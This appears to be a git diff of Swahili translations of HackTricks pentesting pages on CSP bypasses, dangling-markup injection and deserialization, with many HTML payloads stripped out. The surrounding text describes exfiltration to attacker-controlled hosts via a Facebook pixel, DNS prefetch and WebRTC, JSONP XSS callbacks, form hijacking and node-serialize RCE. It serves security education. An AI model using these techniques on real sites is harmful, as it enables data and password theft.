hapa](https://github.com/Polydet/polyglot-database)). ### Form-action -Ikiwa haiwezekani kuingiza JS, bado unaweza kujaribu kuhamasisha kwa mfano akidi **kuingiza hatua ya fomu** (na labda kutarajia wasimamizi wa nywila kujaza nywila kiotomatiki). Unaweza kupata [**mfano katika ripoti hii**](https://portswigger.net/research/stealing-passwords-from-infosec-mastodon-without-bypassing-csp). Pia, zingatia kwamba `default-src` haifunika hatua za fomu. +Ikiwa haiwezekani kuingiza JS, bado unaweza kujaribu kutoa kwa mfano akidi **kwa kuingiza hatua ya fomu** (na labda kutarajia wasimamizi wa nywila kujaza nywila kiotomatiki). Unaweza kupata [**mfano katika ripoti hii**](https://portswigger.net/research/stealing-passwords-from-infosec-mastodon-without-bypassing-csp). Pia, zingatia kwamba `default-src` haifunika hatua za fomu. ### Third Party Endpoints + ('unsafe-eval') @@ -197,10 +197,10 @@ With some bypasses from: https://blog.huli.tw/2022/08/29/en/intigriti-0822-xss-a " > ``` -#### Payloads kutumia Angular + maktaba yenye kazi zinazorejesha `window` object ([angalia chapisho hili](https://blog.huli.tw/2022/09/01/en/angularjs-csp-bypass-cdnjs/)): +#### Payloads using Angular + a library with functions that return the `window` object ([check out this post](https://blog.huli.tw/2022/09/01/en/angularjs-csp-bypass-cdnjs/)): > [!NOTE] -> Chapisho linaonyesha kwamba unaweza **kupakia** maktaba zote kutoka `cdn.cloudflare.com` (au maktaba nyingine yoyote ya JS iliyoruhusiwa), kutekeleza kazi zote zilizoongezwa kutoka kila maktaba, na kuangalia **ni kazi zipi kutoka maktaba zipi zinazorejesha `window` object**. +> Post hii inaonyesha kwamba unaweza **kupakia** maktaba zote kutoka `cdn.cloudflare.com` (au repo nyingine yoyote ya maktaba za JS zilizo ruhusiwa), tekeleza kazi zote zilizoongezwa kutoka kila maktaba, na angalia **ni kazi zipi kutoka kwa maktaba zipi zinazorudisha `window` object**. ```markup @@ -230,7 +230,7 @@ Angular XSS kutoka kwa jina la darasa: aaa ``` -#### Kutumia vibaya msimbo wa google recaptcha JS +#### Kutumia vibaya msimbo wa JS wa google recaptcha Kulingana na [**hii CTF writeup**](https://blog-huli-tw.translate.goog/2023/07/28/google-zer0pts-imaginary-ctf-2023-writeup/?_x_tr_sl=es&_x_tr_tl=en&_x_tr_hl=es&_x_tr_pto=wapp#noteninja-3-solves) unaweza kutumia vibaya [https://www.google.com/recaptcha/](https://www.google.com/recaptcha/) ndani ya CSP ili kutekeleza msimbo wa JS wa kiholela ukipita CSP: ```html @@ -266,15 +266,15 @@ URL ifuatayo inaelekeza kwa example.com (kutoka [hapa](https://www.landh.tech/bl ``` https://www.google.com/amp/s/example.com/ ``` -Kukandamiza \*.google.com/script.google.com +Kunyanyasua \*.google.com/script.google.com -Inawezekana kukandamiza Google Apps Script ili kupokea taarifa katika ukurasa ndani ya script.google.com. Kama inavyofanywa katika [ripoti hii](https://embracethered.com/blog/posts/2023/google-bard-data-exfiltration/). +Inawezekana kunyanyasua Google Apps Script kupokea taarifa katika ukurasa ndani ya script.google.com. Kama inavyofanywa katika [ripoti hii](https://embracethered.com/blog/posts/2023/google-bard-data-exfiltration/). ### Mipangilio ya Tatu + JSONP ```http Content-Security-Policy: script-src 'self' https://www.google.com https://www.youtube.com; object-src 'none'; ``` -Mifano kama hii ambapo `script-src` imewekwa kuwa `self` na kikoa maalum ambacho kimeorodheshwa kinaweza kupitishwa kwa kutumia JSONP. JSONP endpoints zinaruhusu mbinu zisizo salama za callback ambazo zinamruhusu mshambuliaji kutekeleza XSS, mzigo unaofanya kazi: +Mifano kama hii ambapo `script-src` imewekwa kuwa `self` na kikoa maalum ambacho kimeorodheshwa kinaweza kupuuziliwa mbali kwa kutumia JSONP. JSONP endpoints huruhusu mbinu zisizo salama za callback ambazo zinamruhusu mshambuliaji kutekeleza XSS, payload inayofanya kazi: ```markup "> "> @@ -286,7 +286,7 @@ https://www.youtube.com/oembed?callback=alert; ``` [**JSONBee**](https://github.com/zigoo0/JSONBee) **ina mwisho wa JSONP tayari kutumika kwa CSP bypass ya tovuti tofauti.** -Uthibitisho sawa utaonekana ikiwa **mwandiko wa kuaminika una Open Redirect** kwa sababu ikiwa mwandiko wa awali unakubaliwa, uelekeo unakubaliwa. +Uthibitisho sawa utaonekana ikiwa **mwisho wa kuaminika una Open Redirect** kwa sababu ikiwa mwisho wa awali unakubaliwa, redirects zinakubaliwa. ### Matumizi Mabaya ya Watu wa Tatu @@ -318,11 +318,11 @@ Unapaswa kuwa na uwezo wa kuhamasisha data, kama ilivyokuwa kila wakati na [Goog 1. Unda akaunti ya Mdevelopment ya Facebook hapa. 2. Unda programu mpya ya "Facebook Login" na uchague "Website". 3. Nenda kwenye "Settings -> Basic" na pata "App ID" yako. -4. Katika tovuti unayotaka kuhamasisha data kutoka, unaweza kuhamasisha data kwa kutumia moja kwa moja gadget ya Facebook SDK "fbq" kupitia "customEvent" na payload ya data. +4. Katika tovuti unayotaka kuhamasisha data kutoka, unaweza kuhamasisha data kwa kutumia moja kwa moja kifaa cha Facebook SDK "fbq" kupitia "customEvent" na mzigo wa data. 5. Nenda kwenye "Event Manager" ya programu yako na uchague programu uliyounda (kumbuka meneja wa matukio unaweza kupatikana katika URL kama hii: https://www.facebook.com/events\_manager2/list/pixel/\[app-id]/test\_events). 6. Chagua tab "Test Events" ili kuona matukio yanayotumwa na "tovuti yako". -Kisha, upande wa mwathirika, unatekeleza msimbo ufuatao kuanzisha pixel ya ufuatiliaji ya Facebook ili kuelekeza kwenye app-id ya akaunti ya developer ya mshambuliaji na kutoa tukio maalum kama hili: +Kisha, upande wa mwathirika, unatekeleza msimbo ufuatao kuanzisha pixel ya ufuatiliaji wa Facebook ili kuelekeza kwenye app-id ya akaunti ya developer ya mshambuliaji na kutoa tukio maalum kama hili: ```JavaScript fbq('init', '1279785999289471');​ // this number should be the App ID of the attacker's Meta/Facebook account fbq('trackCustom', 'My-Custom-Event',{​ @@ -333,7 +333,7 @@ Kuhusu maeneo mengine saba ya tatu yaliyotajwa katika jedwali lililopita, kuna n ### Bypass kupitia RPO (Relative Path Overwrite) -Mbali na kuelekeza hapo juu ili kupita vizuizi vya njia, kuna mbinu nyingine inayoitwa Relative Path Overwrite (RPO) ambayo inaweza kutumika kwenye baadhi ya seva. +Mbali na kuelekeza hapo juu ili kupita vizuizi vya njia, kuna mbinu nyingine inayoitwa Relative Path Overwrite (RPO) ambayo inaweza kutumika kwenye seva zingine. Kwa mfano, ikiwa CSP inaruhusu njia `https://example.com/scripts/react/`, inaweza kupitishwa kama ifuatavyo: ```html @@ -341,13 +341,13 @@ Kwa mfano, ikiwa CSP inaruhusu njia `https://example.com/scripts/react/`, inawez ``` Kivinjari hatimaye kitaongeza `https://example.com/scripts/angular/angular.js`. -Hii inafanya kazi kwa sababu kwa kivinjari, unaload faili inayoitwa `..%2fangular%2fangular.js` iliyoko chini ya `https://example.com/scripts/react/`, ambayo inakubaliana na CSP. +Hii inafanya kazi kwa sababu kwa kivinjari, unachaji faili iliyo na jina `..%2fangular%2fangular.js` iliyoko chini ya `https://example.com/scripts/react/`, ambayo inakubaliana na CSP. -∑, wataifungua, kwa ufanisi wakitafuta `https://example.com/scripts/react/../angular/angular.js`, ambayo ni sawa na `https://example.com/scripts/angular/angular.js`. +∑, wataifungua, kwa ufanisi wakifanya ombi la `https://example.com/scripts/react/../angular/angular.js`, ambayo ni sawa na `https://example.com/scripts/angular/angular.js`. Kwa **kutumia ukosefu huu wa uwiano katika tafsiri ya URL kati ya kivinjari na seva, sheria za njia zinaweza kupuuziliwa mbali**. -Suluhisho ni kutotreat `%2f` kama `/` upande wa seva, kuhakikisha tafsiri inayofanana kati ya kivinjari na seva ili kuepuka tatizo hili. +Suluhisho ni kutotenda `%2f` kama `/` upande wa seva, kuhakikisha tafsiri inayofanana kati ya kivinjari na seva ili kuepuka tatizo hili. Mfano Mtandaoni:[ ](https://jsbin.com/werevijewa/edit?html,output)[https://jsbin.com/werevijewa/edit?html,output](https://jsbin.com/werevijewa/edit?html,output) @@ -361,29 +361,29 @@ Mfano Mtandaoni:[ ](https://jsbin.com/werevijewa/edit?html,output)[https://jsbin Ikiwa **base-uri** haipo unaweza kuitumia vibaya ili kufanya [**dangling markup injection**](../dangling-markup-html-scriptless-injection/). -Zaidi ya hayo, ikiwa **ukurasa unaload script kwa kutumia njia ya relative** (kama ` ``` -From: [https://github.com/ka0labs/ctf-writeups/tree/master/2019/nn9ed/x-oracle](https://github.com/ka0labs/ctf-writeups/tree/master/2019/nn9ed/x-oracle) +Kutoka: [https://github.com/ka0labs/ctf-writeups/tree/master/2019/nn9ed/x-oracle](https://github.com/ka0labs/ctf-writeups/tree/master/2019/nn9ed/x-oracle) -Unaweza pia kutumia usanidi huu **kupakia msimbo wa javascript ulioingizwa ndani ya picha**. Ikiwa kwa mfano, ukurasa unaruhusu kupakia picha kutoka Twitter. Unaweza **kuunda** **picha maalum**, **kuipakia** kwenye Twitter na kutumia "**unsafe-inline**" **kutekeleza** msimbo wa JS (kama XSS ya kawaida) ambayo it **pakia** **picha**, **itoa** **JS** kutoka kwake na **itekeleze** **hiyo**: [https://www.secjuice.com/hiding-javascript-in-png-csp-bypass/](https://www.secjuice.com/hiding-javascript-in-png-csp-bypass/) +Unaweza pia kutumia usanidi huu **kupakia msimbo wa javascript ulioingizwa ndani ya picha**. Ikiwa kwa mfano, ukurasa unaruhusu kupakia picha kutoka Twitter. Unaweza **kuunda** **picha maalum**, **kuipakia** kwenye Twitter na kutumia "**unsafe-inline**" **kutekeleza** msimbo wa JS (kama XSS ya kawaida) ambayo it **pakia** **picha**, **itoa** **JS** kutoka kwake na **utekeleze** **hiyo**: [https://www.secjuice.com/hiding-javascript-in-png-csp-bypass/](https://www.secjuice.com/hiding-javascript-in-png-csp-bypass/) ### Na Wafanyakazi wa Huduma @@ -472,15 +472,15 @@ Unaweza kupata mfano hapa: [http://portswigger-labs.net/edge_csp_injection_xndhf #### Edge -Katika Edge ni rahisi zaidi. Ikiwa unaweza kuongeza katika CSP tu hii: **`;_`** **Edge** it **ondoa** sera yote.\ +Katika Edge ni rahisi zaidi. Ikiwa unaweza kuongeza katika CSP tu hii: **`;_`** **Edge** it **afuta** sera nzima.\ Mfano: [http://portswigger-labs.net/edge_csp_injection_xndhfye721/?x=;\_\&y=%3Cscript%3Ealert(1)%3C/script%3E]() ### img-src \*; kupitia XSS (iframe) - Shambulio la Wakati Tazama ukosefu wa agizo `'unsafe-inline'`\ -Wakati huu unaweza kumfanya mwathirika **paku** ukurasa katika **udhibiti wako** kupitia **XSS** na ` // The bot will load an URL with the payload @@ -548,7 +548,7 @@ Kwa maelezo zaidi [**angalia ripoti ya asili hapa**](https://socradar.io/csp-byp ### CSP bypass by restricting CSP -Katika [**hii CTF writeup**](https://github.com/google/google-ctf/tree/master/2023/web-biohazard/solution), CSP inakwepa kwa kuingiza ndani ya iframe inayoruhusiwa CSP yenye vizuizi zaidi ambayo ilikataza kupakia faili maalum ya JS ambayo, kisha, kupitia **prototype pollution** au **dom clobbering** iliruhusu **kudhulumu skripti tofauti ili kupakia skripti isiyo na mpangilio**. +Katika [**hii CTF writeup**](https://github.com/google/google-ctf/tree/master/2023/web-biohazard/solution), CSP inakwepa kwa kuingiza ndani ya iframe inayoruhusiwa CSP yenye ukali zaidi ambayo ilikataza kupakia faili maalum ya JS ambayo, kisha, kupitia **prototype pollution** au **dom clobbering** iliruhusu **kudhulumu skripti tofauti ili kupakia skripti isiyo na mpangilio**. Unaweza **kuzuia CSP ya Iframe** kwa kutumia **`csp`** sifa: ```html @@ -568,7 +568,7 @@ content="script-src 'self' ``` ### JS exfiltration with Content-Security-Policy-Report-Only -Ikiwa unaweza kusimamia kufanya seva ijibu na kichwa **`Content-Security-Policy-Report-Only`** chenye **thamani inayodhibitiwa na wewe** (labda kwa sababu ya CRLF), unaweza kufanya ielekeze kwenye seva yako na ikiwa un **fungia** **maudhui ya JS** unayotaka kuhamasisha na **`` kumbuka kwamba **script** hii itakuwa **imepakiwa** kwa sababu inaruhusiwa na 'self'. Zaidi ya hayo, na kwa sababu WordPress imewekwa, mshambuliaji anaweza kutumia **shambulio la SOME** kupitia **kiunganishi kilichoharibika** **callback** ambacho **kinapita CSP** ili kutoa ruhusa zaidi kwa mtumiaji, kusakinisha plugin mpya...\ +Mshambuliaji anaweza kutumia kiungo hicho ili **kuunda shambulio la SOME** dhidi ya WordPress na **kuingiza** ndani ya `` kumbuka kwamba **script** hii itakuwa **imepakiwa** kwa sababu inaruhusiwa na 'self'. Zaidi ya hayo, na kwa sababu WordPress imewekwa, mshambuliaji anaweza kutumia **shambulio la SOME** kupitia **kiungo kilichoharibika** **callback** ambacho **kinapita CSP** ili kutoa ruhusa zaidi kwa mtumiaji, kusakinisha plugin mpya...\ Kwa maelezo zaidi kuhusu jinsi ya kutekeleza shambulio hili angalia [https://octagon.net/blog/2022/05/29/bypass-csp-using-wordpress-by-abusing-same-origin-method-execution/](https://octagon.net/blog/2022/05/29/bypass-csp-using-wordpress-by-abusing-same-origin-method-execution/) ## CSP Exfiltration Bypasses @@ -649,8 +649,8 @@ Unaweza kuelekeza kwa kuingiza meta tag (hii ni kuelekeza tu, hii haitavuja maud ``` ### DNS Prefetch -Ili kupakia kurasa kwa haraka, vivinjari vinakwenda kabla ya kutatua majina ya mwenyeji kuwa anwani za IP na kuziweka kwenye cache kwa matumizi ya baadaye.\ -Unaweza kuonyesha kivinjari kutatua kabla jina la mwenyeji kwa: `` +Ili kupakia kurasa kwa haraka, vivinjari vitakuwa vinatatua majina ya mwenyeji kuwa anwani za IP na kuhifadhi kwa matumizi ya baadaye.\ +Unaweza kuonyesha kivinjari kutatua jina la mwenyeji mapema kwa: `` Unaweza kutumia tabia hii vibaya ili **kuondoa taarifa nyeti kupitia maombi ya DNS**: ```javascript @@ -678,7 +678,7 @@ X-DNS-Prefetch-Control: off ### WebRTC -Katika kurasa kadhaa unaweza kusoma kwamba **WebRTC haiangalii sera ya `connect-src` ya CSP**. +Katika kurasa kadhaa unaweza kusoma kwamba **WebRTC haichunguze sera ya `connect-src` ya CSP**. Kwa kweli unaweza _kuvuja_ taarifa kwa kutumia _ombio la DNS_. Angalia hii code: ```javascript @@ -709,7 +709,7 @@ pc.createOffer().then((sdp)=>pc.setLocalDescription(sdp); [https://csper.io/docs/generating-content-security-policy](https://csper.io/docs/generating-content-security-policy) -## Marejeleo +## Marejeo - [https://hackdefense.com/publications/csp-the-how-and-why-of-a-content-security-policy/](https://hackdefense.com/publications/csp-the-how-and-why-of-a-content-security-policy/) - [https://lcamtuf.coredump.cx/postxss/](https://lcamtuf.coredump.cx/postxss/) diff --git a/src/pentesting-web/content-security-policy-csp-bypass/csp-bypass-self-+-unsafe-inline-with-iframes.md b/src/pentesting-web/content-security-policy-csp-bypass/csp-bypass-self-+-unsafe-inline-with-iframes.md index 50171fcf0..cf9718734 100644 --- a/src/pentesting-web/content-security-policy-csp-bypass/csp-bypass-self-+-unsafe-inline-with-iframes.md +++ b/src/pentesting-web/content-security-policy-csp-bypass/csp-bypass-self-+-unsafe-inline-with-iframes.md @@ -8,7 +8,7 @@ Maudhui yoyote kutoka vyanzo vya nje pia yanazuiliwa, ikiwa ni pamoja na picha, ### Kupitia Maandishi & Picha -Imek observed kwamba vivinjari vya kisasa vinabadilisha picha na maandiko kuwa HTML ili kuboresha uonyeshaji wao (kwa mfano, kuweka mandharinyuma, kuzingatia, n.k.). Kwa hivyo, ikiwa faili ya picha au maandiko, kama `favicon.ico` au `robots.txt`, inafunguliwa kupitia `iframe`, inatolewa kama HTML. Kwa kuzingatia, kurasa hizi mara nyingi hazina vichwa vya CSP na zinaweza kutokuwepo na X-Frame-Options, na kuruhusu utekelezaji wa JavaScript isiyo na mpangilio kutoka kwao: +Imek observed kwamba vivinjari vya kisasa vinabadilisha picha na maandiko kuwa HTML ili kuboresha uonyeshaji wao (kwa mfano, kuweka mandharinyuma, kuzingatia, n.k.). Kwa hivyo, ikiwa picha au faili ya maandiko, kama `favicon.ico` au `robots.txt`, itafunguliwa kupitia `iframe`, inatolewa kama HTML. Kwa kuzingatia, kurasa hizi mara nyingi hazina vichwa vya CSP na zinaweza kutokuwa na X-Frame-Options, ikiruhusu utekelezaji wa JavaScript isiyo na mpangilio kutoka kwao: ```javascript frame = document.createElement("iframe") frame.src = "/css/bootstrap.min.css" @@ -17,7 +17,7 @@ script = document.createElement("script") script.src = "//example.com/csp.js" window.frames[0].document.head.appendChild(script) ``` -### Makosa ya Kijibu +### Makosa ya Via Vivyo hivyo, majibu ya makosa, kama vile faili za maandiko au picha, kwa kawaida yanakuja bila vichwa vya CSP na yanaweza kukosa X-Frame-Options. Makosa yanaweza kusababisha kupakia ndani ya iframe, kuruhusu hatua zifuatazo: ```javascript diff --git a/src/pentesting-web/dangling-markup-html-scriptless-injection/README.md b/src/pentesting-web/dangling-markup-html-scriptless-injection/README.md index 6ec21b975..5a4594527 100644 --- a/src/pentesting-web/dangling-markup-html-scriptless-injection/README.md +++ b/src/pentesting-web/dangling-markup-html-scriptless-injection/README.md @@ -4,7 +4,7 @@ ## Resume -Teknolojia hii inaweza kutumika kutoa taarifa kutoka kwa mtumiaji wakati **HTML injection inapatikana**. Hii ni muhimu sana ikiwa **hupati njia yoyote ya kutumia** [**XSS** ](../xss-cross-site-scripting/)lakini unaweza **kuiingiza baadhi ya vitambulisho vya HTML**.\ +Teknolojia hii inaweza kutumika kutoa taarifa kutoka kwa mtumiaji wakati **HTML injection inapatikana**. Hii ni muhimu sana ikiwa **hupati njia yoyote ya kutumia** [**XSS** ](../xss-cross-site-scripting/)lakini unaweza **kuingiza baadhi ya vitambulisho vya HTML**.\ Pia ni muhimu ikiwa **siri fulani imehifadhiwa kwa maandiko wazi** katika HTML na unataka **kuipatia** kutoka kwa mteja, au ikiwa unataka kupotosha utekelezaji wa script fulani. Mbinu kadhaa zilizozungumziwa hapa zinaweza kutumika kupita baadhi ya [**Content Security Policy**](../content-security-policy-csp-bypass/) kwa kupeleka taarifa kwa njia zisizotarajiwa (vitambulisho vya html, CSS, vitambulisho vya http-meta, fomu, msingi...). @@ -13,7 +13,7 @@ Mbinu kadhaa zilizozungumziwa hapa zinaweza kutumika kupita baadhi ya [**Content ### Stealing clear text secrets -Ikiwa unaiingiza ` ``` -Kisha, fomu zinazotuma data kwenye njia (kama `
`) zitatuma data hizo kwenye eneo la hatari. +Kisha, fomu zinazotuma data kwenye njia (kama ``) zitatuma data kwenye kikoa kibaya. ### Kuiba fomu 2 @@ -61,11 +61,11 @@ Pata [**mfano wa shambulio hili katika andiko hili**](https://portswigger.net/re ### Kuiba siri za maandiko wazi 2 -Kwa kutumia mbinu iliyotajwa hivi karibuni kuiba fomu (kuingiza kichwa kipya cha fomu) unaweza kisha kuingiza uwanja mpya wa pembejeo: +Kwa kutumia mbinu iliyotajwa hivi karibuni kuiba fomu (kuingiza kichwa kipya cha fomu) unaweza kisha kuingiza uwanja mpya wa ingizo: ```html `. Takwimu zote hadi `` iliyofungwa itatumwa: ```html @@ -101,8 +101,8 @@ Kutoka kwenye [portswiggers research](https://portswigger.net/research/evading-c You must click me ← Injected markup ... Share this status update with: ← Legitimate optional element of a dialog @@ -120,7 +120,7 @@ Share this status update with: ← Legitimate optional element of a dialog ... function submit_status_update() { ... request.share_with = document.getElementById('share_with').value; ... } ``` -### Mchakato wa script wa kupotosha 2 - Shambulio la nafasi ya script +### Mchakato wa kupotosha script 2 - Shambulio la nafasi ya script Unda mabadiliko ndani ya nafasi ya javascript kwa kuingiza vitambulisho vya HTML. Kisha, mabadiliko haya yataathiri mtiririko wa programu: ```html @@ -197,7 +197,7 @@ Sio njia zote za kuvuja muunganisho katika HTML zitakuwa na manufaa kwa Dangling ## SS-Leaks -Hii ni **mchanganyiko** kati ya **dangling markup na XS-Leaks**. Kutoka upande mmoja, udhaifu unaruhusu **kuingiza HTML** (lakini si JS) katika ukurasa wa **asilimia moja** ya ule tutakaoshambulia. Kwa upande mwingine hatutashambulia moja kwa moja ukurasa ambapo tunaweza kuingiza HTML, bali **ukurasa mwingine**. +Hii ni **mchanganyiko** kati ya **dangling markup na XS-Leaks**. Kutoka upande mmoja, udhaifu unaruhusu **kuingiza HTML** (lakini si JS) katika ukurasa wa **asilimia moja** ya ule tutakaoshambulia. Kutoka upande mwingine hatutashambulia moja kwa moja ukurasa ambapo tunaweza kuingiza HTML, bali **ukurasa mwingine**. {{#ref}} ss-leaks.md @@ -205,7 +205,7 @@ ss-leaks.md ## XS-Search/XS-Leaks -XS-Search zimeelekezwa kwenye **kuondoa taarifa za cross-origin** kwa kutumia **shambulio la upande wa channel**. Hivyo, ni mbinu tofauti na Dangling Markup, hata hivyo, baadhi ya mbinu zinatumia kuingizwa kwa vitambulisho vya HTML (ikiwa na na bila utekelezaji wa JS), kama [**CSS Injection**](../xs-search/#css-injection) au [**Lazy Load Images**](../xs-search/#image-lazy-loading)**.** +XS-Search zimeelekezwa kwenye **kuondoa taarifa za cross-origin** kwa kutumia **shambulio la upande**. Hivyo, ni mbinu tofauti na Dangling Markup, hata hivyo, baadhi ya mbinu zinatumia ujumuishaji wa vitambulisho vya HTML (ikiwa na bila utekelezaji wa JS), kama [**CSS Injection**](../xs-search/#css-injection) au [**Lazy Load Images**](../xs-search/#image-lazy-loading)**.** {{#ref}} ../xs-search/ diff --git a/src/pentesting-web/deserialization/README.md b/src/pentesting-web/deserialization/README.md index 6ab2a7067..92c6cd2ea 100644 --- a/src/pentesting-web/deserialization/README.md +++ b/src/pentesting-web/deserialization/README.md @@ -4,7 +4,7 @@ ## Basic Information -**Serialization** inamaanisha njia ya kubadilisha kitu kuwa muundo ambao unaweza kuhifadhiwa, kwa nia ya ama kuhifadhi kitu hicho au kukituma kama sehemu ya mchakato wa mawasiliano. Tekni hii hutumiwa mara nyingi kuhakikisha kwamba kitu kinaweza kuundwa tena baadaye, ikihifadhi muundo na hali yake. +**Serialization** inamaanisha njia ya kubadilisha kitu kuwa muundo ambao unaweza kuhifadhiwa, kwa nia ya ama kuhifadhi kitu hicho au kukituma kama sehemu ya mchakato wa mawasiliano. Mbinu hii hutumiwa mara nyingi kuhakikisha kwamba kitu hicho kinaweza kuundwa tena baadaye, ikihifadhi muundo na hali yake. **Deserialization**, kinyume chake, ni mchakato unaopinga serialization. Inahusisha kuchukua data ambayo imeundwa kwa muundo maalum na kuijenga tena kuwa kitu. @@ -15,8 +15,8 @@ Deserialization inaweza kuwa hatari kwa sababu inaweza **kuruhusu washambuliaji Katika PHP, mbinu maalum za kichawi hutumiwa wakati wa mchakato wa serialization na deserialization: - `__sleep`: Inaitwa wakati kitu kinaposajiliwa. Mbinu hii inapaswa kurudisha orodha ya majina ya mali zote za kitu ambazo zinapaswa kusajiliwa. Inatumika mara nyingi kuhifadhi data inayosubiri au kufanya kazi za usafi zinazofanana. -- `__wakeup`: Inaitwa wakati kitu kinaposajiliwa. Inatumika kurejesha uhusiano wowote wa database ambao unaweza kuwa umepotea wakati wa serialization na kufanya kazi nyingine za kuanzisha tena. -- `__unserialize`: Mbinu hii inaitwa badala ya `__wakeup` (ikiwa inapatikana) wakati kitu kinaposajiliwa. Inatoa udhibiti zaidi juu ya mchakato wa deserialization ikilinganishwa na `__wakeup`. +- `__wakeup`: Inaitwa wakati kitu kinaposajiliwa tena. Inatumika kurejesha uhusiano wowote wa database ambao unaweza kuwa umepotea wakati wa serialization na kufanya kazi nyingine za kuanzisha tena. +- `__unserialize`: Mbinu hii inaitwa badala ya `__wakeup` (ikiwa inapatikana) wakati kitu kinaposajiliwa tena. Inatoa udhibiti zaidi juu ya mchakato wa deserialization ikilinganishwa na `__wakeup`. - `__destruct`: Mbinu hii inaitwa wakati kitu kinakaribia kuharibiwa au wakati script inamalizika. Inatumika kawaida kwa kazi za usafi, kama kufunga mikono ya faili au uhusiano wa database. - `__toString`: Mbinu hii inaruhusu kitu kutendewa kama string. Inaweza kutumika kwa kusoma faili au kazi nyingine kulingana na wito wa kazi ndani yake, ikitoa kwa ufanisi uwakilishi wa maandiko wa kitu. ```php @@ -74,10 +74,10 @@ This is a test
*/ ?> ``` -Ikiwa utaangalia matokeo utaona kwamba kazi **`__wakeup`** na **`__destruct`** zinaitwa wakati kitu kinapotolewa deserialization. Kumbuka kwamba katika mafunzo kadhaa utaona kwamba kazi **`__toString`** inaitwa unapojaribu kuchapisha sifa fulani, lakini kwa wazi hiyo **haifanyiki tena**. +Ikiwa utaangalia matokeo utaona kwamba kazi **`__wakeup`** na **`__destruct`** zinaitwa wakati kitu kinapokuwa deserialized. Kumbuka kwamba katika mafunzo kadhaa utaona kwamba kazi **`__toString`** inaitwa unapojaribu kuchapisha sifa fulani, lakini kwa wazi hiyo **haifanyiki tena**. > [!WARNING] -> Njia **`__unserialize(array $data)`** inaitwa **badala ya `__wakeup()`** ikiwa imeanzishwa katika darasa. Inakuruhusu kutoa deserialization ya kitu kwa kutoa data iliyosajiliwa kama array. Unaweza kutumia njia hii kutoa deserialization ya mali na kufanya kazi zozote muhimu wakati wa deserialization. +> Njia **`__unserialize(array $data)`** inaitwa **badala ya `__wakeup()`** ikiwa imeanzishwa katika darasa. Inakuruhusu kuunserialize kitu kwa kutoa data iliyosajiliwa kama array. Unaweza kutumia njia hii kuunserialize mali na kufanya kazi zozote muhimu wakati wa deserialization. > > ```php > class MyClass { @@ -100,9 +100,9 @@ Unaweza kutumia vibaya kazi ya autoload ya PHP ili kupakia faili za php zisizo n php-deserialization-+-autoload-classes.md {{#endref}} -### Kutoa Thamani za Marejeleo +### Kuweka Thamani za Marejeleo -Ikiwa kwa sababu fulani unataka kutoa thamani kama **marejeleo kwa thamani nyingine iliyosajiliwa** unaweza: +Ikiwa kwa sababu fulani unataka kuweka thamani kama **marejeleo kwa thamani nyingine iliyosajiliwa** unaweza: ```php ) -Kama unavyoona katika kipande cha mwisho cha msimbo, **ikiwa bendera imepatikana** `eval` inatumika ku_deserialize kazi, hivyo kimsingi **ingizo la mtumiaji linatumika ndani ya kazi ya `eval`**. +Kama unavyoona katika kipande cha mwisho cha msimbo, **ikiwa bendera imepatikana** `eval` inatumika kus_serialized kazi, hivyo kimsingi **ingizo la mtumiaji linatumika ndani ya kazi ya `eval`**. -Hata hivyo, **ku_serialized** kazi **hakutatekeleza** kwani itahitajika sehemu fulani ya msimbo **kuitisha `y.rce`** katika mfano wetu na hiyo ni **ngumu sana**.\ -Hata hivyo, unaweza tu **kubadilisha kitu kilichos_serialized** **kwa kuongeza mabano** ili kutekeleza kiotomatiki kazi iliyos_serialized wakati kitu kinapo_deserialize.\ +Hata hivyo, **kuhifadhi tu** kazi **hakutatekeleza** kwani itahitajika sehemu fulani ya msimbo **kuitisha `y.rce`** katika mfano wetu na hiyo ni **ngumu**.\ +Hata hivyo, unaweza tu **kubadilisha kitu kilichos_serialized** **kwa kuongeza mabano** ili kutekeleza kiotomatiki kazi iliyos_serialized wakati kitu kinapos_serialized.\ Katika kipande kijacho cha msimbo **angalia mabano ya mwisho** na jinsi kazi ya `unserialize` itatekeleza kiotomatiki msimbo: ```javascript var serialize = require("node-serialize") @@ -254,9 +254,9 @@ Unaweza [**kupata hapa**](https://opsecx.com/index.php/2017/02/08/exploiting-nod ### [funcster](https://www.npmjs.com/package/funcster) -Jambo muhimu kuhusu **funcster** ni ukosefu wa upatikanaji wa **vitu vya ndani vilivyojengwa**; vinatoka nje ya upeo unaopatikana. Kikomo hiki kinazuia utekelezaji wa msimbo unaojaribu kuita mbinu kwenye vitu vilivyojengwa, na kusababisha makosa kama `"ReferenceError: console is not defined"` wakati amri kama `console.log()` au `require(something)` zinapotumika. +Jambo muhimu kuhusu **funcster** ni ukosefu wa upatikanaji wa **vitu vya ndani vilivyojengwa**; vinatoka nje ya upeo unaopatikana. Kikomo hiki kinazuia utekelezaji wa msimbo unaojaribu kuita mbinu kwenye vitu vya ndani, na kusababisha makosa kama `"ReferenceError: console is not defined"` wakati amri kama `console.log()` au `require(something)` zinapotumika. -Licha ya kikomo hiki, urejeleaji wa upatikanaji kamili kwa muktadha wa kimataifa, ikiwa ni pamoja na vitu vyote vya ndani vilivyojengwa, inawezekana kupitia njia maalum. Kwa kutumia muktadha wa kimataifa moja kwa moja, mtu anaweza kupita kikomo hiki. Kwa mfano, upatikanaji unaweza kurejelewa kwa kutumia kipande kifuatacho: +Licha ya kikomo hiki, urejeleaji wa upatikanaji kamili wa muktadha wa kimataifa, ikiwa ni pamoja na vitu vyote vya ndani vilivyojengwa, inawezekana kupitia njia maalum. Kwa kutumia muktadha wa kimataifa moja kwa moja, mtu anaweza kupita kikomo hiki. Kwa mfano, upatikanaji unaweza kurejelewa kwa kutumia kipande kifuatacho: ```javascript funcster = require("funcster") //Serialization @@ -282,7 +282,7 @@ funcster.deepDeserialize(desertest3) ### [**serialize-javascript**](https://www.npmjs.com/package/serialize-javascript) -Kifurushi cha **serialize-javascript** kimeundwa mahsusi kwa ajili ya kusawazisha, hakina uwezo wowote wa ndani wa kusafisha. Watumiaji wanawajibika kutekeleza njia zao za kusafisha. Matumizi ya moja kwa moja ya `eval` yanapendekezwa na mfano rasmi wa kusafisha data iliyosawazishwa: +Kifurushi cha **serialize-javascript** kimeundwa mahsusi kwa ajili ya kusawazisha, hakina uwezo wowote wa kujisawazisha. Watumiaji wanawajibika kutekeleza njia zao za kujisawazisha. Matumizi ya moja kwa moja ya `eval` yanapendekezwa na mfano rasmi wa kujisawazisha data iliyosawazishwa: ```javascript function deserialize(serializedJavascript) { return eval("(" + serializedJavascript + ")") @@ -313,9 +313,9 @@ Katika kurasa zinazofuata unaweza kupata maelezo kuhusu jinsi ya kutumia vibaya ## 